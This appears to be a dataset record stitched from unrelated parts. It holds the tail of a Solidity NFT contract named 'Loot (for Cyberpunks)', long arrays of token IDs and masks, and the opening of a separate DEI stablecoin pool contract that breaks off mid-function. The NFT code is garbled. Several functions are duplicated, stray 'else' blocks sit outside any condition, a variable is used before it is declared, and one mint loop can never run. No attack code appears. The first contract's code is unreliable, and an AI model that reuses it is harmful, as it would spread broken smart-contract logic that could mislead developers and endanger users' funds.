unicode"Ca̸̅rbon St̴̯͠eel C̵͗hŏ̴ker",
unicode"S̸̿pĩ̴dersilk Scar̴̂f",
unicode"Babb̴̓le̶̊ F̵ish Imp̵lant"
];
string[] private rings = [
unicode"Cy̷b͓̿e̵rp̴u̟n̫͝ḱ̤ṣ̈́",
unicode"Dea̶̚dheå̷d",
unicode"Fō̶rd",
unicode"Bloõ̶dlus̵t",
unicode"Nighto̸̽wl"
];
string[] private suffixes = [
unicode"of N̴̐ightc̶i̷̓ty",
unicode"of̴̎ Redē̴mptio̴͘n",
unicode"ȏ̴f Ro̶͆botic Samur̵a̴̚i̵̇",
unicode"of Shad̷ow̵̕",
unicode"o̴f Broke̶̽n N̵͠eon",
unicode"o̷̚f Clo̴͆ne Wars",
unicode"of ̴Neo-Tokyo",
unicode"o̵f Bla̷ck Cats̸̾",
unicode"of the̵ Deliv̴e̶̽ͅrator̴̐",
unicode"of R̶i̴ggin̵̽g"
];
string[] private namePrefixes = [
unicode"Soil̵e̴d",
unicode"Stolen̴̎",
unicode"In̵finit̸̊e R̷uste̵d̶",
unicode"H̴͐o̷l̵l̵ow Pi̶nk",
unicode"Apocal̵͛ypti̴c",
unicode"He̷terotopi̷c",
unicode"To̶xic",
unicode"Cyb̵̔ernetic̵͔̾"
];
string[] private nameSuffixes = [
""
];
function random(string memory input) internal pure returns (uint256) {
return uint256(keccak256(abi.encodePacked(input)));
}
function getWeapon(uint256 tokenId) public view returns (string memory) {
return pluck(tokenId, "WEAPON", weapons);
}
function getChest(uint256 tokenId) public view returns (string memory) {
return pluck(tokenId, "CHEST", chestArmor);
}
function getHead(uint256 tokenId) public view returns (string memory) {
return pluck(tokenId, "HEAD", headArmor);
}
function getWaist(uint256 tokenId) public view returns (string memory) {
return pluck(tokenId, "WAIST", waistArmor);
}
function getFoot(uint256 tokenId) public view returns (string memory) {
return pluck(tokenId, "FOOT", footArmor);
}
function getHand(uint256 tokenId) public view returns (string memory) {
return pluck(tokenId, "HAND", handArmor);
}
function getNeck(uint256 tokenId) public view returns (string memory) {
return pluck(tokenId, "NECK", necklaces);
}
function getRing(uint256 tokenId) public view returns (string memory) {
return pluck(tokenId, "RING", rings);
}
function pluck(uint256 tokenId, string memory keyPrefix, string[] memory sourceArray) internal view returns (string memory) {
uint256 rand = random(string(abi.encodePacked(keyPrefix, toString(tokenId), syntheticLootContract.tokenURI(_msgSender()))));
string memory output = sourceArray[rand % sourceArray.length];
uint256 greatness = rand % 21;
if (greatness > 14) {
output = string(abi.encodePacked(output, " ", suffixes[rand % suffixes.length]));
}
if (greatness >= 19) {
string[2] memory name;
name[0] = namePrefixes[rand % namePrefixes.length];
name[1] = nameSuffixes[rand % nameSuffixes.length];
if (greatness == 19) {
output = string(abi.encodePacked('"', name[0], ' ', name[1], '" ', output));
output = string(abi.encodePacked('"', name[0], ' ', name[1], '" ', output, " +1"));
}
}
return output;
}
function pluck(uint256 tokenId, string memory keyPrefix, string[] memory sourceArray) internal view returns (string memory) {
uint256 rand = random(string(abi.encodePacked(keyPrefix, toString(tokenId), syntheticLootContract.tokenURI(_msgSender()))));
string memory output = sourceArray[rand % sourceArray.length];
uint256 greatness = rand % 21;
if (greatness > 14) {
output = string(abi.encodePacked(output, " ", suffixes[rand % suffixes.length]));
}
if (greatness >= 19) {
string[2] memory name;
name[0] = namePrefixes[rand % namePrefixes.length];
name[1] = nameSuffixes[rand % nameSuffixes.length];
if (greatness == 19) {
output = string(abi.encodePacked('"', name[0], ' ', name[1], '" ', output));
output = string(abi.encodePacked('"', name[0], ' ', name[1], '" ', output, " +1"));
}
}
return output;
}
function pluck(uint256 tokenId, string memory keyPrefix, string[] memory sourceArray) internal view returns (string memory) {
uint256 rand = random(string(abi.encodePacked(keyPrefix, toString(tokenId), syntheticLootContract.tokenURI(_msgSender()))));
string memory output = sourceArray[rand % sourceArray.length];
uint256 greatness = rand % 21;
if (greatness > 14) {
output = string(abi.encodePacked(output, " ", suffixes[rand % suffixes.length]));
}
if (greatness >= 19) {
string[2] memory name;
name[0] = namePrefixes[rand % namePrefixes.length];
name[1] = nameSuffixes[rand % nameSuffixes.length];
if (greatness == 19) {
output = string(abi.encodePacked('"', name[0], ' ', name[1], '" ', output));
output = string(abi.encodePacked('"', name[0], ' ', name[1], '" ', output, " +1"));
}
}
return output;
}
function pluck(uint256 tokenId, string memory keyPrefix, string[] memory sourceArray) internal view returns (string memory) {
uint256 rand = random(string(abi.encodePacked(keyPrefix, toString(tokenId), syntheticLootContract.tokenURI(_msgSender()))));
string memory output = sourceArray[rand % sourceArray.length];
uint256 greatness = rand % 21;
if (greatness > 14) {
output = string(abi.encodePacked(output, " ", suffixes[rand % suffixes.length]));
}
if (greatness >= 19) {
string[2] memory name;
name[0] = namePrefixes[rand % namePrefixes.length];
name[1] = nameSuffixes[rand % nameSuffixes.length];
if (greatness == 19) {
output = string(abi.encodePacked('"', name[0], ' ', name[1], '" ', output));
output = string(abi.encodePacked('"', name[0], ' ', name[1], '" ', output, " +1"));
}
}
return output;
}
} else {
function tokenURI(uint256 tokenId) override public view returns (string memory) {
string[17] memory parts;
parts[1] = getWeapon(tokenId);
parts[2] = '</text><text x="10" y="40" class="base">';
parts[3] = getChest(tokenId);
parts[4] = '</text><text x="10" y="60" class="base">';
parts[5] = getHead(tokenId);
parts[6] = '</text><text x="10" y="80" class="base">';
parts[7] = getWaist(tokenId);
parts[8] = '</text><text x="10" y="100" class="base">';
parts[9] = getFoot(tokenId);
parts[10] = '</text><text x="10" y="120" class="base">';
parts[11] = getHand(tokenId);
parts[12] = '</text><text x="10" y="140" class="base">';
parts[13] = getNeck(tokenId);
parts[14] = '</text><text x="10" y="160" class="base">';
parts[15] = getRing(tokenId);
parts[16] = '</text></svg>';
string memory output = string(abi.encodePacked(parts[0], parts[1], parts[2], parts[3], parts[4], parts[5], parts[6], parts[7], parts[8]));
output = string(abi.encodePacked(output, parts[9], parts[10], parts[11], parts[12], parts[13], parts[14], parts[15], parts[16]));
output = string(abi.encodePacked('data:application/json;base64,', json));
return output;
}
string memory json = Base64.encode(bytes(string(abi.encodePacked('{"name": "Bag #', toString(tokenId), '", "description": "Loot is randomized adventurer gear generated and stored on chain. Stats, images, and other functionality are intentionally omitted for others to interpret. Feel free to use Loot in any way you want.", "image": "data:image/svg+xml;base64,', Base64.encode(bytes(output)), '"}'))));
function _totalSyntheticSupply() internal view returns (uint) {
return _syntheticItemsTracker.current();
}
function totalSyntheticSupply() public view returns (uint256) {
return _totalSyntheticSupply();
}
function _totalOriginSupply() internal view returns (uint) {
return _originItemsTracker.current();
}
function totalOriginSupply() public view returns (uint256) {
return _totalOriginSupply();
}
function claim(uint256 tokenId) public nonReentrant {
require(!_exists(tokenId), "This token has already been minted");
bool isLootOrigin = tokenId > 0 && tokenId < 8001;
if(isLootOrigin) {
require(lootContract.ownerOf(tokenId) == _msgSender(), "Not the owner of this loot");
_originItemsTracker.increment();
uint256 total = _totalSyntheticSupply();
require(total + 1 <= MAX_SYNTHETIC_ITEMS, "Max limit");
require(total <= MAX_SYNTHETIC_ITEMS, "Sale end");
_syntheticItemsTracker.increment();
}
_safeMint(_msgSender(), tokenId);
emit CreateLoot(tokenId);
}
function claim(uint256 tokenId) public nonReentrant {
require(!_exists(tokenId), "This token has already been minted");
bool isLootOrigin = tokenId > 0 && tokenId < 8001;
if(isLootOrigin) {
require(lootContract.ownerOf(tokenId) == _msgSender(), "Not the owner of this loot");
_originItemsTracker.increment();
uint256 total = _totalSyntheticSupply();
require(total + 1 <= MAX_SYNTHETIC_ITEMS, "Max limit");
require(total <= MAX_SYNTHETIC_ITEMS, "Sale end");
_syntheticItemsTracker.increment();
}
_safeMint(_msgSender(), tokenId);
emit CreateLoot(tokenId);
}
} else {
function claimTeam() public nonReentrant onlyOwner {
for (uint256 i = 8888; i < 150; i++) {
_syntheticItemsTracker.increment();
_safeMint(multisigAddress, i);
}
}
function claimTeam() public nonReentrant onlyOwner {
for (uint256 i = 8888; i < 150; i++) {
_syntheticItemsTracker.increment();
_safeMint(multisigAddress, i);
}
}
function mint(uint256 tokenId) public nonReentrant onlyOwner {
_safeMint(multisigAddress, tokenId);
}
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
function toString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
constructor(address synthetic, address loot, address multisig) ERC721("Loot (for Cyberpunks)", "CYBERLOOT") {
syntheticLootAddress = synthetic;
syntheticLootContract = SyntheticLootInterface(synthetic);
lootAddress = loot;
lootContract = LootInterface(loot);
multisigAddress = multisig;
}
}
| 12,436,063 |
[
1,
4625,
348,
7953,
560,
30,
511,
1632,
13456,
10503,
16466,
511,
1632,
13456,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
511,
1632,
1290,
17992,
744,
84,
1683,
87,
353,
4232,
39,
27,
5340,
3572,
25121,
16,
868,
8230,
12514,
16709,
16,
14223,
6914,
288,
203,
565,
1450,
9354,
87,
364,
9354,
87,
18,
4789,
31,
203,
203,
565,
2254,
5034,
1071,
5381,
4552,
67,
7474,
1784,
44,
1584,
2871,
67,
29887,
273,
16291,
31,
203,
565,
9354,
87,
18,
4789,
3238,
389,
11982,
16466,
3126,
8135,
31,
203,
565,
9354,
87,
18,
4789,
3238,
389,
10012,
3126,
8135,
31,
203,
203,
565,
1758,
1071,
437,
352,
1887,
31,
203,
565,
511,
1632,
1358,
437,
352,
8924,
31,
203,
377,
203,
565,
1758,
1071,
25535,
1504,
352,
1887,
31,
203,
565,
16091,
16466,
1504,
352,
1358,
25535,
1504,
352,
8924,
31,
203,
203,
565,
1758,
1071,
22945,
360,
1887,
31,
203,
540,
203,
565,
871,
1788,
1504,
352,
12,
11890,
5034,
8808,
612,
1769,
203,
1082,
203,
565,
533,
8526,
3238,
732,
438,
7008,
273,
306,
203,
3639,
5252,
6,
37,
141,
119,
141,
234,
496,
141,
118,
77,
17,
49,
9293,
17980,
141,
119,
1627,
3113,
203,
3639,
5252,
6,
4802,
69,
141,
121,
363,
2638,
141,
119,
141,
126,
295,
141,
119,
141,
243,
1766,
275,
3113,
203,
3639,
5252,
6,
58,
77,
141,
120,
142,
254,
2848,
1776,
225,
141,
117,
13809,
141,
120,
142,
233,
92,
385,
322,
736,
141,
119,
141,
237,
141,
102,
86,
3113,
203,
3639,
5252,
6,
52,
504,
141,
120,
142,
256,
79,
278,
225,
141,
117,
14559,
141,
119,
141,
245,
14522,
31093,
141,
117,
141,
236,
142,
235,
86,
3113,
203,
3639,
5252,
6,
758,
270,
141,
120,
76,
141,
117,
141,
126,
31178,
6,
203,
565,
308,
31,
203,
377,
203,
565,
533,
8526,
3238,
462,
395,
25583,
280,
273,
306,
203,
4202,
5252,
6,
44,
141,
118,
141,
245,
1561,
141,
120,
142,
243,
141,
105,
81,
141,
118,
270,
348,
141,
120,
141,
228,
141,
259,
14945,
3113,
203,
4202,
5252,
6,
56,
141,
121,
305,
304,
141,
119,
30063,
141,
117,
81,
141,
119,
225,
141,
119,
38,
354,
141,
120,
3113,
203,
4202,
5252,
6,
3282,
141,
120,
311,
141,
118,
354,
21628,
141,
120,
72,
141,
117,
141,
126,
141,
104,
83,
141,
117,
91,
3113,
203,
4202,
5252,
6,
55,
141,
117,
878,
17,
48,
20651,
141,
120,
87,
141,
117,
6,
203,
565,
308,
31,
203,
377,
203,
565,
533,
8526,
3238,
910,
25583,
280,
273,
306,
203,
3639,
5252,
6,
4667,
343,
141,
118,
141,
244,
270,
1949,
141,
118,
77,
141,
117,
142,
239,
71,
9557,
141,
119,
141,
126,
141,
103,
73,
3113,
203,
3639,
5252,
6,
2194,
83,
141,
117,
141,
126,
141,
123,
4880,
8264,
141,
120,
141,
253,
69,
141,
117,
141,
241,
72,
3113,
203,
3639,
5252,
6,
49,
141,
118,
42,
141,
120,
463,
141,
117,
142,
256,
142,
232,
51,
1872,
141,
120,
141,
253,
490,
69,
141,
118,
141,
232,
141,
104,
7771,
3113,
203,
3639,
5252,
6,
10503,
141,
118,
88,
141,
118,
142,
227,
76,
141,
117,
7943,
14987,
76,
141,
118,
141,
128,
2219,
141,
120,
142,
239,
79,
141,
118,
142,
231,
3113,
203,
3639,
5252,
6,
25,
40,
670,
83,
141,
117,
1330,
86,
141,
118,
142,
239,
16003,
141,
118,
335,
2301,
141,
119,
142,
254,
141,
108,
6311,
557,
141,
118,
88,
141,
117,
285,
315,
203,
565,
308,
31,
203,
377,
203,
565,
533,
8526,
3238,
27098,
376,
25583,
280,
273,
306,
203,
4202,
5252,
6,
12487,
141,
121,
142,
256,
71,
11801,
141,
117,
141,
234,
340,
587,
9096,
141,
120,
141,
244,
80,
560,
453,
141,
117,
142,
259,
4388,
3113,
203,
4202,
5252,
6,
10312,
543,
73,
141,
119,
142,
231,
836,
141,
119,
141,
127,
670,
352,
84,
141,
118,
141,
237,
304,
141,
118,
3428,
3113,
203,
4202,
5252,
6,
47,
14965,
7901,
141,
117,
141,
126,
478,
141,
120,
141,
243,
1072,
93,
17,
52,
1077,
141,
120,
79,
3113,
203,
4202,
5252,
6,
14925,
360,
141,
120,
354,
90,
670,
141,
117,
142,
229,
5552,
17,
76,
141,
117,
142,
250,
141,
104,
83,
556,
3113,
203,
4202,
5252,
6,
51,
19321,
141,
117,
142,
233,
70,
280,
141,
117,
83,
141,
121,
142,
231,
87,
3113,
203,
4202,
5252,
6,
55,
141,
121,
141,
242,
141,
260,
1095,
141,
118,
13285,
88,
6,
203,
565,
308,
31,
203,
377,
203,
565,
533,
8526,
3238,
14200,
25583,
280,
273,
306,
203,
4202,
5252,
6,
37,
141,
121,
141,
126,
496,
77,
17,
782,
141,
118,
351,
141,
121,
605,
141,
117,
83,
141,
118,
83,
141,
117,
3428,
3113,
203,
4202,
5252,
6,
59,
141,
119,
141,
228,
142,
256,
485,
87,
3113,
203,
4202,
5252,
6,
56,
304,
141,
118,
142,
256,
79,
141,
120,
142,
251,
399,
141,
117,
86,
141,
120,
684,
87,
3113,
203,
4202,
5252,
6,
26365,
141,
121,
432,
141,
119,
28387,
1040,
6,
203,
565,
308,
31,
203,
203,
565,
533,
8526,
3238,
948,
25583,
280,
273,
306,
203,
4202,
5252,
6,
38,
141,
117,
383,
141,
120,
141,
232,
142,
246,
369,
141,
118,
453,
89,
141,
120,
1291,
3113,
203,
4202,
5252,
6,
56,
23338,
141,
118,
141,
126,
142,
249,
82,
141,
117,
77,
141,
117,
142,
245,
379,
9458,
141,
118,
6215,
3113,
203,
4202,
5252,
6,
50,
141,
118,
267,
141,
120,
17445,
83,
28509,
73,
141,
120,
26876,
383,
537,
141,
120,
141,
126,
3113,
203,
4202,
5252,
6,
984,
141,
120,
6760,
141,
118,
287,
463,
141,
117,
142,
231,
142,
249,
932,
298,
141,
119,
141,
126,
3113,
203,
4202,
5252,
6,
12178,
141,
118,
142,
238,
79,
141,
117,
3008,
345,
141,
119,
141,
239,
88,
335,
3905,
141,
117,
6850,
3113,
203,
4202,
5252,
6,
17992,
141,
120,
70,
141,
128,
142,
246,
73,
141,
118,
13832,
141,
117,
89,
141,
258,
82,
142,
256,
141,
109,
79,
142,
228,
141,
102,
87,
142,
231,
141,
101,
3113,
203,
4202,
5252,
6,
4802,
69,
141,
117,
142,
231,
5489,
434,
286,
141,
117,
142,
230,
141,
112,
73,
478,
141,
120,
2
] |
// Be name Khoda
// Bime Abolfazl
// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.13;
pragma abicoder v2;
// =================================================================================================================
// _|_|_| _|_|_|_| _| _| _|_|_| _|_|_|_| _| |
// _| _| _| _| _| _| _| _|_|_| _|_|_| _|_|_| _|_|_| _|_| |
// _| _| _|_|_| _| _| _|_| _|_|_| _| _| _| _| _| _| _| _| _|_|_|_| |
// _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| _| |
// _|_|_| _|_|_|_| _|_| _|_|_| _| _| _| _| _|_|_| _| _| _|_|_| _|_|_| |
// =================================================================================================================
// ============================= DEIPool =============================
// ===================================================================
// DEUS Finance: https://github.com/DeusFinance
// Primary Author(s)
// Vahid: https://github.com/vahid-dev
import "@openzeppelin/contracts/access/AccessControl.sol";
import "../Uniswap/TransferHelper.sol";
import "./interfaces/IPoolLibrary.sol";
import "./interfaces/IPoolV2.sol";
import "./interfaces/IERC20.sol";
import "./interfaces/IDEUS.sol";
import "./interfaces/IDEI.sol";
/// @title Minter Pool Contract V2
/// @author DEUS Finance
/// @notice Minter pool of DEI stablecoin
/// @dev Uses twap and vwap for DEUS price in DEI redemption by using muon oracles
/// Usable for stablecoins as collateral
contract DEIPool is IDEIPool, AccessControl {
/* ========== STATE VARIABLES ========== */
address public collateral;
address private dei;
address private deus;
uint256 public mintingFee;
uint256 public redemptionFee = 10000;
uint256 public buybackFee = 5000;
uint256 public recollatFee = 5000;
mapping(address => uint256) public redeemCollateralBalances;
uint256 public unclaimedPoolCollateral;
mapping(address => uint256) public lastCollateralRedeemed;
// position data
mapping(address => IDEIPool.RedeemPosition[]) public redeemPositions;
mapping(address => uint256) public nextRedeemId;
uint256 public collateralRedemptionDelay;
uint256 public deusRedemptionDelay;
// Constants for various precisions
uint256 private constant PRICE_PRECISION = 1e6;
uint256 private constant COLLATERAL_RATIO_PRECISION = 1e6;
uint256 private constant COLLATERAL_RATIO_MAX = 1e6;
uint256 private constant COLLATERAL_PRICE = 1e6;
uint256 private constant SCALE = 1e6;
// Number of decimals needed to get to 18
uint256 private immutable missingDecimals;
// Pool_ceiling is the total units of collateral that a pool contract can hold
uint256 public poolCeiling;
// Bonus rate on DEUS minted during RecollateralizeDei(); 6 decimals of precision, set to 0.75% on genesis
uint256 public bonusRate = 7500;
uint256 public daoShare = 0; // fees goes to daoWallet
address public poolLibrary; // Pool library contract
address public muon;
uint32 public appId;
uint256 minimumRequiredSignatures;
// AccessControl Roles
bytes32 public constant PARAMETER_SETTER_ROLE =
keccak256("PARAMETER_SETTER_ROLE");
bytes32 public constant DAO_SHARE_COLLECTOR =
keccak256("DAO_SHARE_COLLECTOR");
bytes32 public constant PAUSER_ROLE = keccak256("PAUSER_ROLE");
bytes32 public constant TRUSTY_ROLE = keccak256("TRUSTY_ROLE");
// AccessControl state variables
bool public mintPaused = false;
bool public redeemPaused = false;
bool public recollateralizePaused = false;
bool public buyBackPaused = false;
/* ========== MODIFIERS ========== */
modifier notRedeemPaused() {
require(redeemPaused == false, "DEIPool: REDEEM_PAUSED");
_;
}
modifier notMintPaused() {
require(mintPaused == false, "DEIPool: MINTING_PAUSED");
_;
}
/* ========== CONSTRUCTOR ========== */
constructor(
address dei_,
address deus_,
address collateral_,
address muon_,
address library_,
address admin,
uint256 minimumRequiredSignatures_,
uint256 collateralRedemptionDelay_,
uint256 deusRedemptionDelay_,
uint256 poolCeiling_,
uint32 appId_
) {
require(
(dei_ != address(0)) &&
(deus_ != address(0)) &&
(collateral_ != address(0)) &&
(library_ != address(0)) &&
(admin != address(0)),
"DEIPool: ZERO_ADDRESS_DETECTED"
);
dei = dei_;
deus = deus_;
collateral = collateral_;
muon = muon_;
appId = appId_;
minimumRequiredSignatures = minimumRequiredSignatures_;
collateralRedemptionDelay = collateralRedemptionDelay_;
deusRedemptionDelay = deusRedemptionDelay_;
poolCeiling = poolCeiling_;
poolLibrary = library_;
missingDecimals = uint256(18) - IERC20(collateral).decimals();
_setupRole(DEFAULT_ADMIN_ROLE, admin);
}
/* ========== VIEWS ========== */
// Returns dollar value of collateral held in this DEI pool
function collatDollarBalance(uint256 collateralPrice)
public
view
returns (uint256 balance)
{
balance =
((IERC20(collateral).balanceOf(address(this)) -
unclaimedPoolCollateral) *
(10**missingDecimals) *
collateralPrice) /
(PRICE_PRECISION);
}
// Returns the value of excess collateral held in this DEI pool, compared to what is needed to maintain the global collateral ratio
function availableExcessCollatDV(uint256[] memory collateralPrice)
public
view
returns (uint256)
{
uint256 totalSupply = IDEI(dei).totalSupply();
uint256 globalCollateralRatio = IDEI(dei).global_collateral_ratio();
uint256 globalCollateralValue = IDEI(dei).globalCollateralValue(
collateralPrice
);
if (globalCollateralRatio > COLLATERAL_RATIO_PRECISION)
globalCollateralRatio = COLLATERAL_RATIO_PRECISION; // Handles an overcollateralized contract with CR > 1
uint256 requiredCollateralDollarValued18 = (totalSupply *
globalCollateralRatio) / (COLLATERAL_RATIO_PRECISION); // Calculates collateral needed to back each 1 DEI with $1 of collateral at current collat ratio
if (globalCollateralValue > requiredCollateralDollarValued18)
return globalCollateralValue - requiredCollateralDollarValued18;
else return 0;
}
function positionsLength(address user)
external
view
returns (uint256 length)
{
length = redeemPositions[user].length;
}
function getAllPositions(address user)
external
view
returns (RedeemPosition[] memory positions)
{
positions = redeemPositions[user];
}
function getUnRedeemedPositions(address user)
external
view
returns (RedeemPosition[] memory)
{
uint256 totalRedeemPositions = redeemPositions[user].length;
uint256 redeemId = nextRedeemId[user];
RedeemPosition[] memory positions = new RedeemPosition[](
totalRedeemPositions - redeemId + 1
);
uint256 index = 0;
for (uint256 i = redeemId; i < totalRedeemPositions; i++) {
positions[index] = redeemPositions[user][i];
index++;
}
return positions;
}
function _getChainId() internal view returns (uint256 id) {
assembly {
id := chainid()
}
}
/* ========== PUBLIC FUNCTIONS ========== */
// We separate out the 1t1, fractional and algorithmic minting functions for gas efficiency
function mint1t1DEI(uint256 collateralAmount)
external
notMintPaused
returns (uint256 deiAmount)
{
require(
IDEI(dei).global_collateral_ratio() >= COLLATERAL_RATIO_MAX,
"DEIPool: INVALID_COLLATERAL_RATIO"
);
require(
IERC20(collateral).balanceOf(address(this)) -
unclaimedPoolCollateral +
collateralAmount <=
poolCeiling,
"DEIPool: CEILING_REACHED"
);
uint256 collateralAmountD18 = collateralAmount * (10**missingDecimals);
deiAmount = IPoolLibrary(poolLibrary).calcMint1t1DEI(
COLLATERAL_PRICE,
collateralAmountD18
); //1 DEI for each $1 worth of collateral
deiAmount = (deiAmount * (SCALE - mintingFee)) / SCALE; //remove precision at the end
TransferHelper.safeTransferFrom(
collateral,
msg.sender,
address(this),
collateralAmount
);
daoShare += (deiAmount * mintingFee) / SCALE;
IDEI(dei).pool_mint(msg.sender, deiAmount);
}
// 0% collateral-backed
function mintAlgorithmicDEI(
uint256 deusAmount,
uint256 deusPrice,
uint256 expireBlock,
bytes[] calldata sigs
) external notMintPaused returns (uint256 deiAmount) {
require(
IDEI(dei).global_collateral_ratio() == 0,
"DEIPool: INVALID_COLLATERAL_RATIO"
);
require(expireBlock >= block.number, "DEIPool: EXPIRED_SIGNATURE");
bytes32 sighash = keccak256(
